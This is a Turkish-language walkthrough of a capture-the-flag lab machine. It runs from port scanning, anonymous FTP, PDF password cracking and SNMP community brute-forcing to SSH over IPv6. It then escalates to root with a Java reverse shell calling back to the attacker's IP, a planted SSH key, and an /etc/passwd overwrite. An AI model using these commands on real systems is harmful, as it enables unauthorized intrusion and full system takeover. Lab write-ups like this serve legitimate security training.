Ip adresimizi öğrenelim :
ifconfig
Ip adresim 192.168.70.4
Makinenin ip adresini öğrenmek için nmap ile blok taraması yapıyorum:
sudo nmap -sS 192.168.70.0/24
Hedef ip adresi 192.168.70.10
ftp, ssh ve http servisleri açık.
Detaylı sync taraması yapalım:
sudo nmap -sS 192.168.70.10
22 portunda ssh servisinin açık olduğunu görüyoruz fakat filtered durumda. Bu da portun açık olduğu fakat erişimin firewall tarafından engellendiğini gösterir.
80 portundaki web sayfasını detaylıca analiz ettim fakat herhangi bir açık bulamadım. Bu tarafı direkt geçebiliriz.
21 portundaki ftp servisinin anonymous logine izin verdiğin, içeride Impossible.pdf ve Info.txt dosyalarının olduğunu görüyoruz.
Anonymous olarak giriş yapalım ve dosyaları kendi makinemize çekelim:
ftp 192.168.70.10
username : anonymous
password : anonymous
get Impossible.pdf
get Info.txt
info.txt dosyasının içeriği bu şekilde:
Impossible.pdf dosyasını açmak istediğimizde password korumalı olduğunu görüyoruz:
John the Ripper toolu ile parolaya brute force attack gerçekleştireceğiz.
İlk olarak pdf2john ile pdfin hash değerini çıkaralım:
pdf2john Impossible.pdf > hash
Hash değerini ‘hash’ dosyasına kaydettik. vim veya nano gibi bir metin editörü ile baştaki dosya ismini silerek yalnızca hash değerini kaydedelim:
rockyou.txt wordlisti ile hash değerine brute force atağımızı gerçekleştirelim:
john --wordlist=rockyou.txt_dosya_konumu hash
Password: shadow1
Parolayı kullanarak pdf dosyasını açtığımızda bir password ve ipucu bulduk:
Password : capricorn
İpucundan anlaşıldığı üzere bir de username bulmamız gerekiyor.
Elimizde keşif yapacak hiç bir yüzey alanı kalmadı, araştırmayı biraz daha genişletmemiz gerekiyor. İlk önce nmap ile syn taraması yapıp açık tcp portlarını bulmuştuk. Şimdi ise udp portlarını kontrol edelim:
161 portunda snmp servisi çalışıyor. Snmp’yi analiz etmek için bu linki kullanabiliriz.
Snmp servisinden bilgi toplamak için community stringe ihtiyacımız var.
Community stringi bulmak için nmap scripti ve internetten bulduğum wordlist ile brute force yapacağız:
sudo nmap -sU --script snmp-brute 192.168.70.10 --script-args snmp-brute.communitiesdb=/snmp-wordlist-directory.txt -p 161
Community String : cisco
Community stringi bulduğumuza göre snmp bilgerine erişebiliriz.
Not: (makineyi bozup yeniden kurduğum için ipsi 192.168.70.13 olarak değişti)
snmpbulkwalk -c cisco -v2c 192.168.70.13 .
Değerlerin içinde aradığımız kullanıcı adını bulduk.
Username : jonathanjacobo
Şimdi elimizde bir kullanıcı adı ve bir parola var fakat login olabileceğimiz herhangi alan yok. Bu da demek oluyor ki tarama kapsamını daha da genişletmemiz gerekiyor.
Hatırlarsanız ilk nmap taramamızda ssh portu filtered durumdaydı. Firewalldan ssh’ı IPv4 e kapatılmış fakat IPv6 üzerinden kapatılmamış olabilir. Önce hedef makinenin IPv6 adresini bulup sonrasında tekrar nmap taraması yapalım.
Bu komutla local ağdaki cihazların IPv6 adreslerini bulabiliriz:
ping6 -I <interface-name> -c 5 ff02::1
İlk IPv6 adresi bize, ikincisi ise hedef makineye ait. Karıştırmamak için kendi IPv6 adresimizi ifconfig komutu ile kontrol edebiliriz.
IPv6 adresine nmap taraması yapalım:
sudo nmap -sS -6 <IPv6-adress> -n -Pn -A
IPv6 tarafında ssh portuna erişebildiğimizi görüyoruz. Elimizdeki username ve password ile ssh bağlantımızı kuralım:
Username : jonathanjacobo
Password : capricorn
ssh -l <username> -6 <IPv6-adress>
PRIVILEGE ESCALATION
Yürütme yetkimiz olan olan komutlara bakalım:
sudo -l
Java ile /tmp klasörü altındaki ebabeeffoc.jar dosyasını ve argümanlarını ‘larsulrich’ kullanıcısıyla çalıştırabiliyoruz.
Jar olarak derlenmiş bir reverse shell kodu ile larsulrich kullanıcısından shell alabilriz.
Java ile reverse shell almak için bu repoyu kullandım:
Reverse_Shell.jar dosyasını makinemize indirelim ve ister scp ister ‘simple http server’ yöntemiyle hedef makinenin /tmp klasörüne atalım.
IPv6 için scp kullanımı:
scp -6 <local-file> <username>@{<IPv6-adress>]:<remote-directory>
Dosyanın adını ‘ebabeeffoc.jar’ olarak değiştirmeyi unutmayalım:
mv Reverse_Shell.jar ebabeeffoc.jar
Kendi makinemizdeki 4444 portunu netcat ile dinlemeye alalım:
nc -lvnp 4444
Hedef makinede ‘larsulrich’ kullanıcısı ile reverse shell doyamızı çalıştıralım:
sudo -u larsulrich /usr/bin/java -jar /tmp/ebabeeffoc.jar 192.168.70.4 4444
(192.168.70.4 → kendi IPv4 adresimiz)
larsulrich kullanıcısı ile shell almayı başardık.
Bu komut ile shellimi güzelleştiriyorum:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Yine yürütme yetkimiz olan olan komutlara bakalım:
sudo -l
Wuzz uygulamasını root kullanıcısı ile çalıştırabiliyorum. Önceki adımda olduğu gibi yine çalıştırabildiğim uygulamadan faydalanmaya çalışacağım.
Wuzz uygulamasının ne işe yaradığına ve nasıl kullanıldığına buradan bakabilirsiniz:
Uygulamasını çalıştırmayı denediğimde, shellimiz stabil olmadığından hat a alıyoruz:
Uygulamayı çalıştırabilmek için daha stabil bir shelle geçiş yapmamız lazım.
Ssh public keyimi hedef makinenin kayıtlı keylerine ekleyerek şifre kullanmadan ssh bağlantısı (ssh, stabil bir shelldir) sağlayabilirim.
İlk olarak public ve private keylerimi oluşturuyorum:
ssh-keygen
/home/username/.ssh dosyasının içine public ve private keylerimiz kaydolacaktır:
Keyleri pyhton http.server ile erişime açacağım:
python -m http.server <port>
wget ile hedef makineye çekelim:
Public keyimi (id_rsa.pub) /home/larsulrich/.ssh/authorized.keys dosyasına ekleyerek şifresiz ssh erişimini sağlamış olacağım.
Hedef makinede .ssh klasörü ve authorized.keys dosyaları yok. Kendimiz oluşturalım ve public keyimizi içine yazalım:
mkdir /home/larsulrich/.ssh
mv id_rsa.pub /home/larsulrich/.ssh/authorized.keys
IPv6 ile ssh girişini yapalım:
Herhangi bir parola kullanmadan ssh bağlantımı sağladım. Artık wuzz uygulamamı kullabilirim.
Wuzz ile http/https istekleri atabiliyor ve dönen sonuçları dosyaya yazabiliyorum. Root kullanıcısı ile çalıştırabildiğimiz için istediğim dosyanın üzerine yazabilirim.
/etc/passwd dosyası üzerine yazarak ‘root’ kullanıcısının parolasını değiştireceğim.
Kendi makinemdeki emre userinin parola (emre) hashini kopyalayıp root için kullanacağım. Yazacağım /etc/passwd doyası bu şekilde olacak:
root:$y$j9T$DpcdRPDadPF/jzpftPNU2.$eAYd5pLQsWkjSON7vYuzVtRmbTOTWv9xG4os9byQAAD:0:0:root:/root:/bin/bash
larsulrich:x:1001:1001::/home/larsulrich:/bin/bash
Bu passwd dosyası ile root kullanıcısının şifresi ‘emre’ olur.
Benim gibi kullanıcı oluşturup hash kopyalamak yerine openssl ile de oluşturabilirsiniz:
openssl passwd -1
passwd dosyamı oluşturduğum konumda python simple http server açıyorum:
python -m http.server 80
Wuzz uygulmasını root yetkileri ile açalım:
sudo /usr/bin/wuzz
Wuzz uygulaması ile http://192.168.70.4/passwd adresine istek atıp kendi dosyamı response olarak görüyorum. Response’u CTRL+S tuşları ile /etc/passwd dosyasının üzerine yazıyorum:
root kullanıcısına ‘emre’ parolası ile geçiş yapabiliriz:
su root